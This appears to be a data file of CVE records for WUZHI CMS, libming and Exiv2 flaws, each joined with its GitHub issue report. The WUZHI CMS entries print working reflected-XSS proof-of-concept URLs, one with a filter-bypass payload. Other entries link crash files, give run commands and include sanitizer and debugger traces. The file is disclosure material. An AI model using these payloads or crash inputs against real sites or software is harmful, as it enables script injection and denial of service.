2019-02-14T03:12:32Z	2019-02-14T03:12:32Z	https://github.com/wuzhicms/wuzhicms/issues/171	410,105,652	171
CVE-2019-9109	2019-02-25T01:29:00.410	XSS exists in WUZHI CMS 4.1.0 via index.php?m=message&f=message&v=add&username=[XSS] to coreframe/app/message/message.php.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://gist.github.com/redeye5/57ccafea7263efec67c82b0503c72480" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/wuzhicms/wuzhicms/issues/172" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:wuzhicms:wuzhi_cms:4.1.0:::::::*", "matchCriteriaId": "F4749403-9C42-40DF-A695-A9E31BD37D84", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/wuzhicms/wuzhicms/issues/172	[ "Exploit", "Issue Tracking", "Third Party Advisory" ]	github.com	[ "wuzhicms", "wuzhicms" ]	A xss vulnerability was discovered in WUZHI CMS 4.1.0 There is a reflected XSS vulnerability which allows remote attackers to inject arbitrary web script or HTML via the username parameter of /index.php?m=message&f=message&v=add Vulnerability file: `coreframe/app/message/message.php` ```PHP public function add() { $seo_title = '发私信'; $memberinfo = $this->memberinfo; if(isset($GLOBALS['submit'])) { ...... } else { $username = isset($GLOBALS['username']) ? remove_xss($GLOBALS['username']) : ''; //$result_tpl = $this->db->get_list('message_tpl', '', '*', 0, 100, 0, 'tplid DESC'); include T('message','add'); } } ``` `remove_xss` function can be bypassed via payload `"><details/open/ontoggle=alert(1)>` PoC: ``` http://example.com/index.php?m=message&f=message&v=add&username="><details/open/ontoggle=alert(1)> ``` Triggered when the user is logged in: ![image](https://user-images.githubusercontent.com/47595052/52767529-c6674e80-3065-11e9-9691-1db84247a291.png)	wuzhicms v4.1.0 message username reflected xss vulnerability	https://api.github.com/repos/wuzhicms/wuzhicms/issues/172/comments	0	2019-02-14T06:36:07Z	2019-02-14T06:36:07Z	https://github.com/wuzhicms/wuzhicms/issues/172	410,150,234	172
CVE-2019-9110	2019-02-25T01:29:00.473	XSS exists in WUZHI CMS 4.1.0 via index.php?m=content&f=postinfo&v=listing&set_iframe=[XSS] to coreframe/app/content/postinfo.php.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://gist.github.com/redeye5/470708bd27ed115b29d0434255b9f7a0" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/wuzhicms/wuzhicms/issues/170" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:wuzhicms:wuzhi_cms:4.1.0:::::::*", "matchCriteriaId": "F4749403-9C42-40DF-A695-A9E31BD37D84", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/wuzhicms/wuzhicms/issues/170	[ "Exploit", "Issue Tracking", "Third Party Advisory" ]	github.com	[ "wuzhicms", "wuzhicms" ]	A xss vulnerability was discovered in WUZHI CMS 4.1.0 There is a reflected XSS vulnerability which allows remote attackers to inject arbitrary web script or HTML via the set_iframe parameter of /index.php?m=content&f=postinfo&v=listing Vulnerability file: `coreframe/app/content/postinfo.php` ```PHP function __construct() { $this->member = load_class('member', 'member'); load_function('common', 'member'); $this->member_setting = get_cache('setting', 'member'); parent::__construct(); //判断当前是否验证了邮箱和手机 if(!$this->memberinfo['ischeck_email']) { MSG('请先验证您的邮箱!','?m=member&f=index&v=edit_email&set_iframe='.$GLOBALS['set_iframe'],3000); } if($this->member_setting['checkmobile'] && !$this->memberinfo['ischeck_mobile']) { MSG('您的手机还未验证！请先验证！','index.php?m=member&f=index&v=edit_mobile&set_iframe='.$GLOBALS['set_iframe'],3000); } } ``` PoC: ``` http://example.com/index.php?m=content&f=postinfo&v=listing&set_iframe='-alert(1)-' ``` Triggered when the user was logged in without verified email address: ![image](https://user-images.githubusercontent.com/47595052/52759851-61513000-3048-11e9-86a5-2a620d4b3a79.png)	wuzhicms v4.1.0 set_iframe reflected xss vulnerability	https://api.github.com/repos/wuzhicms/wuzhicms/issues/170/comments	0	2019-02-14T03:05:39Z	2019-02-14T03:05:39Z	https://github.com/wuzhicms/wuzhicms/issues/170	410,104,254	170
CVE-2019-9113	2019-02-25T04:29:00.463	Ming (aka libming) 0.4.8 has a NULL pointer dereference in the function getString() in the decompile.c file in libutil.a.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Issue Tracking", "Exploit", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/171" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:libming:ming:0.4.8:::::::*", "matchCriteriaId": "B2ADA512-48F0-4FC4-8614-0212A9799B56", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/libming/libming/issues/171	[ "Issue Tracking", "Exploit", "Third Party Advisory" ]	github.com	[ "libming", "libming" ]	A null pointer dereference was found in function getString() (decompile.c line 381) Details is as below: ``` ASAN:SIGSEGV ================================================================= ==30834==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000411266 bp 0x7ffd28773620 sp 0x7ffd28773580 T0) #0 0x411265 in getString /src/libming-afl/util/decompile.c:381 #1 0x412f8c in newVar_N /src/libming-afl/util/decompile.c:725 #2 0x41685e in decompileNEWOBJECT /src/libming-afl/util/decompile.c:1677 #3 0x41ed5a in decompileAction /src/libming-afl/util/decompile.c:3283 #4 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #5 0x41e83c in decompileSETTARGET /src/libming-afl/util/decompile.c:3169 #6 0x41f292 in decompileAction /src/libming-afl/util/decompile.c:3462 #7 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #8 0x41f4b3 in decompile5Action /src/libming-afl/util/decompile.c:3517 #9 0x40bb42 in outputSWF_DOACTION /src/libming-afl/util/outputscript.c:1551 #10 0x40e171 in outputBlock /src/libming-afl/util/outputscript.c:2083 #11 0x40f1c7 in readMovie /src/libming-afl/util/main.c:281 #12 0x40f8fc in main /src/libming-afl/util/main.c:354 #13 0x7f83c852182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #14 0x401998 in _start (/src/fuzz/swftocxx+0x401998) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /src/libming-afl/util/decompile.c:381 getString ==30834==ABORTING ``` poc file : https://github.com/JsHuang/libming-poc/blob/master/swftocxx/SIGSEGV_decompile_381 Reproduce it using: `./swftocxx SIGSEGV_decompile_381 ` credit: ADLab of Venustech	Null pointer dereference in getString (decompile.c 381)	https://api.github.com/repos/libming/libming/issues/171/comments	1	2019-01-02T06:33:17Z	2019-03-01T14:19:12Z	https://github.com/libming/libming/issues/171	395,159,602	171
CVE-2019-9114	2019-02-25T04:29:00.497	Ming (aka libming) 0.4.8 has an out of bounds write vulnerability in the function strcpyext() in the decompile.c file in libutil.a.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/170" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:libming:ming:0.4.8:::::::*", "matchCriteriaId": "B2ADA512-48F0-4FC4-8614-0212A9799B56", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/libming/libming/issues/170	[ "Exploit", "Issue Tracking", "Third Party Advisory" ]	github.com	[ "libming", "libming" ]	An Out Of Bound Write bug was found in function strcpyext() in decompile.c . Details with asan output is as below: ``` ==30836==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000ee18 at pc 0x000000410767 bp 0x7fff7361f360 sp 0x7fff7361f350 WRITE of size 1 at 0x60300000ee18 thread T0 #0 0x410766 in strcpyext /src/libming-afl/util/decompile.c:259 #1 0x41164a in getName /src/libming-afl/util/decompile.c:418 #2 0x41705f in decompileGETVARIABLE /src/libming-afl/util/decompile.c:1816 #3 0x41edd2 in decompileAction /src/libming-afl/util/decompile.c:3299 #4 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #5 0x41e83c in decompileSETTARGET /src/libming-afl/util/decompile.c:3169 #6 0x41f292 in decompileAction /src/libming-afl/util/decompile.c:3462 #7 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #8 0x41f4b3 in decompile5Action /src/libming-afl/util/decompile.c:3517 #9 0x40bb42 in outputSWF_DOACTION /src/libming-afl/util/outputscript.c:1551 #10 0x40e171 in outputBlock /src/libming-afl/util/outputscript.c:2083 #11 0x40f1c7 in readMovie /src/libming-afl/util/main.c:281 #12 0x40f8fc in main /src/libming-afl/util/main.c:354 #13 0x7f0d4149882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #14 0x401998 in _start (/src/fuzz/swftocxx+0x401998) 0x60300000ee18 is located 0 bytes to the right of 24-byte region [0x60300000ee00,0x60300000ee18) allocated by thread T0 here: #0 0x7f0d41dfd602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x41162f in getName /src/libming-afl/util/decompile.c:417 #2 0x41705f in decompileGETVARIABLE /src/libming-afl/util/decompile.c:1816 #3 0x41edd2 in decompileAction /src/libming-afl/util/decompile.c:3299 #4 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #5 0x41e83c in decompileSETTARGET /src/libming-afl/util/decompile.c:3169 #6 0x41f292 in decompileAction /src/libming-afl/util/decompile.c:3462 #7 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #8 0x41f4b3 in decompile5Action /src/libming-afl/util/decompile.c:3517 #9 0x40bb42 in outputSWF_DOACTION /src/libming-afl/util/outputscript.c:1551 #10 0x40e171 in outputBlock /src/libming-afl/util/outputscript.c:2083 #11 0x40f1c7 in readMovie /src/libming-afl/util/main.c:281 #12 0x40f8fc in main /src/libming-afl/util/main.c:354 #13 0x7f0d4149882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-buffer-overflow /src/libming-afl/util/decompile.c:259 strcpyext Shadow bytes around the buggy address: 0x0c067fff9d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c067fff9dc0: 00 00 00[fa]fa fa fd fd fd fd fa fa fd fd fd fa 0x0c067fff9dd0: fa fa 00 00 00 fa fa fa fd fd fd fa fa fa fd fd 0x0c067fff9de0: fd fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff9df0: 00 00 00 00 fa fa 00 00 00 00 fa fa fd fd fd fd 0x0c067fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==30836==ABORTING ``` poc file https://github.com/JsHuang/libming-poc/blob/master/swftocxx/oob_write_decompile_259 to reproduce it ,run swftocxx with oob_write_decompile_259 `./swftocxx oob_write_decompile_259 ` credit: ADLab of Venustech	Out Of Bound Write in function strcpyext()	https://api.github.com/repos/libming/libming/issues/170/comments	1	2019-01-02T06:25:41Z	2019-03-01T14:19:41Z	https://github.com/libming/libming/issues/170	395,158,669	170
CVE-2019-9143	2019-02-25T15:29:00.310	An issue was discovered in Exiv2 0.27. There is infinite recursion at Exiv2::Image::printTiffStructure in the file image.cpp. This can be triggered by a crafted file. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107161" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Exiv2/exiv2/issues/711" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/uncontrolled-recursion-loop-in-exiv2imageprinttiffstructure-exiv2-0-27/" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:exiv2:exiv2:0.27:::::::*", "matchCriteriaId": "B93112D5-5AD0-4F97-B3DC-DA4AF7D027B3", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/Exiv2/exiv2/issues/711	[ "Exploit", "Third Party Advisory" ]	github.com	[ "Exiv2", "exiv2" ]	Description - During our research ,we Observed that an infinite uncontrolled recursion loop, at function Exiv2::Image::printTiffStructure at file image.cpp . It allows an attacker to cause Denial of Service or possibly have unspecified other impact. Command - `exiv2 -b -u -k -p R pr $POC` POC - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/Exiv2/h1?raw=true) Debug - GDB - ``` 84 ../sysdeps/unix/syscall-template.S: No such file or directory. [ Legend: Modified register \| Code \| Heap \| Stack \| String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x49 $rbx : 0x4a $rcx : 0x00007ffff5c172c0 → <__write_nocancel+7> cmp rax, 0xfffffffffffff001 $rdx : 0x4a $rsp : 0x00007fffffffd338 → 0x00007ffff5b98bff → <_IO_file_write+143> test rax, rax $rbp : 0x0000619000001480 → "STRUCTURE OF TIFF FILE (II): id:000000,src:000553+[...]" $rsi : 0x0000619000001480 → "STRUCTURE OF TIFF FILE (II): id:000000,src:000553+[...]" $rdi : 0x1 $rip : 0x00007ffff5c172c0 → <__write_nocancel+7> cmp rax, 0xfffffffffffff001 $r8 : 0x00007ffff5ee6780 → 0x0000000100000001 → 0x0000000000000000 $r9 : 0x00007ffff7fd1780 → 0x00007ffff7fd1780 → [loop detected] $r10 : 0x733a706f2c333132 ("213,op:s"?) $r11 : 0x246 $r12 : 0x4a $r13 : 0x1 $r14 : 0x00007ffff5ee5620 → 0x00000000fbad2a84 → 0x0000000000000000 $r15 : 0x00007fffffffdb20 → 0x0000000041b58ab3 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffd338│+0x0000: 0x00007ffff5b98bff → <_IO_file_write+143> test rax, rax ← $rsp 0x00007fffffffd340│+0x0008: 0x00007ffff5ee5620 → 0x00000000fbad2a84 → 0x0000000000000000 0x00007fffffffd348│+0x0010: 0x000000000000004a ("J"?) 0x00007fffffffd350│+0x0018: 0x0000619000001480 → "STRUCTURE OF TIFF FILE (II): id:000000,src:000553+[...]" 0x00007fffffffd358│+0x0020: 0x00007fffffffd530 → 0x0000000041b58ab3 0x00007fffffffd360│+0x0028: 0x00007fffffffd960 → 0x0000000041b58ab3 0x00007fffffffd368│+0x0030: 0x00007ffff5b9a409 → <_IO_do_write+121> mov r13, rax 0x00007fffffffd370│+0x0038: 0x00007fffffffdb20 → 0x0000000041b58ab3 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x7ffff5c172b2 <write+2> mov DWORD PTR [rbp*1+0x10750000], esp 0x7ffff5c172b9 <__write_nocancel+0> mov eax, 0x1 0x7ffff5c172be <__write_nocancel+5> syscall → 0x7ffff5c172c0 <__write_nocancel+7> cmp rax, 0xfffffffffffff001 0x7ffff5c172c6 <__write_nocancel+13> jae 0x7ffff5c172f9 <write+73> 0x7ffff5c172c8 <__write_nocancel+15> ret 0x7ffff5c172c9 <write+25> sub rsp, 0x8 0x7ffff5c172cd <write+29> call 0x7ffff5c350d0 <__libc_enable_asynccancel> 0x7ffff5c172d2 <write+34> mov QWORD PTR [rsp], rax ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "exiv2", stopped, reason: SIGINT ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x7ffff5c172c0 → __write_nocancel() [#1] 0x7ffff5b98bff → _IO_new_file_write(f=0x7ffff5ee5620 <_IO_2_1_stdout_>, data=0x619000001480, n=0x4a) [#2] 0x7ffff5b9a409 → new_do_write(to_do=0x4a, data=0x619000001480 "STRUCTURE OF TIFF FILE (II): id:000000,src:000553+000213,op:splice,rep:64\n", '\276' <repeats 950 times>, fp=0x7ffff5ee5620 <_IO_2_1_stdout_>) [#3] 0x7ffff5b9a409 → _IO_new_do_write(fp=0x7ffff5ee5620 <_IO_2_1_stdout_>, data=0x619000001480 "STRUCTURE OF TIFF FILE (II): $POC\n", '\276' <repeats 950 times>, to_do=0x4a) [#4] 0x7ffff5b9a81b → _IO_new_file_overflow(f=0x7ffff5ee5620 <_IO_2_1_stdout_>, ch=0xa) [#5] 0x7ffff5b96533 → __GI__IO_putc(c=<optimized out>, fp=0x7ffff5ee5620 <_IO_2_1_stdout_>) [#6] 0x7ffff6214a4a → std::ostream::put(char)() [#7] 0x7ffff6214c3f → std::basic_ostream<char, std::char_traits<char> >& std::endl<char, std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&)() [#8] 0x7ffff673df1e → Exiv2::Image::printIFDStructure(this=0x61200000bec0, io=@0x60300000ecb0, out=@0x672ac0, option=Exiv2::kpsRecursive, start=0xff, bSwap=0x0, c=0x49, depth=0x0) [#9] 0x7ffff673fe2a → Exiv2::Image::printTiffStructure(this=0x61200000bec0, io=@0x60300000ecb0, out=@0x672ac0, option=Exiv2::kpsRecursive, depth=0xffffffff, offset=0x0) ```	uncontrolled recursion loop in Exiv2::Image::printTiffStructure()	https://api.github.com/repos/Exiv2/exiv2/issues/711/comments	2	2019-02-21T11:50:59Z	2019-02-28T16:31:44Z	https://github.com/Exiv2/exiv2/issues/711	412,886,432	711
CVE-2019-9144	2019-02-25T15:29:00.357	An issue was discovered in Exiv2 0.27. There is infinite recursion at BigTiffImage::printIFD in the file bigtiffimage.cpp. This can be triggered by a crafted file. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107161" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Exiv2/exiv2/issues/712" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/uncontrolled-recursion-loop-in-exiv2anonymous-namespacebigtiffimageprintifd-exiv2-0-27/" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:exiv2:exiv2:0.27:::::::*", "matchCriteriaId": "B93112D5-5AD0-4F97-B3DC-DA4AF7D027B3", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/Exiv2/exiv2/issues/712	[ "Exploit", "Third Party Advisory" ]	github.com	[ "Exiv2", "exiv2" ]	Description - During our research ,we Observed that an infinite uncontrolled recursion loop, at function `Exiv2::(anonymous namespace)::BigTiffImage::printIFD( `) located in `bigtiffimage.cpp` . It allows an attacker to cause Denial of Service or possibly have unspecified other impact. Command - exiv2 -b -u -k -p R pr $POC POC - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/Exiv2/h2?raw=true) Debug - GDB - ``` Program received signal SIGINT, Interrupt. 0x00007ffff62276a9 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_append(char const, unsigned long) () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 [ Legend: Modified register \| Code \| Heap \| Stack \| String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0000620001c10a74 → 0xbebebebebe002020 $rbx : 0x00007fffffccfd80 → 0x0000620001c10080 → 0x2020202020202020 (" "?) $rcx : 0x0 $rdx : 0x2 $rsp : 0x00007fffffccfa80 → 0x00007fffffccfad0 → 0x00007fffffccfeb0 → 0x00007fffffcd0290 → 0x00007fffffcd0670 → 0x00007fffffcd0a50 → 0x00007fffffcd0e30 → 0x00007fffffcd1210 $rbp : 0x9f6 $rsi : 0x00007ffff69f2020 → 0x0000000000000000 $rdi : 0x0000620001c10080 → 0x2020202020202020 (" "?) $rip : 0x00007ffff62276a9 → <std::__cxx11::basic_string<char,+0> add rsp, 0x8 $r8 : 0x00007fffffccfd90 → 0x0000000000000f00 $r9 : 0x9f4 $r10 : 0x00007fffffccf1e0 → 0x00007ffff6f036b3 → <operator+0> mov r15, rax $r11 : 0x00007fffffccf1e0 → 0x00007ffff6f036b3 → <operator+0> mov r15, rax $r12 : 0x00000ffffff99f84 → 0x0000000000000000 $r13 : 0x00007fffffccfc20 → 0x0000000041b58ab3 $r14 : 0x00007ffff69600a0 → 0x006e776f6e6b6e75 ("unknown"?) $r15 : 0x00007fffffffdb20 → 0x0000000041b58ab3 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffccfa80│+0x0000: 0x00007fffffccfad0 → 0x00007fffffccfeb0 → 0x00007fffffcd0290 → 0x00007fffffcd0670 → 0x00007fffffcd0a50 → 0x00007fffffcd0e30 → 0x00007fffffcd1210 ← $rsp 0x00007fffffccfa88│+0x0008: 0x00007fffffccfe80 → 0x00007ffff69600a0 → 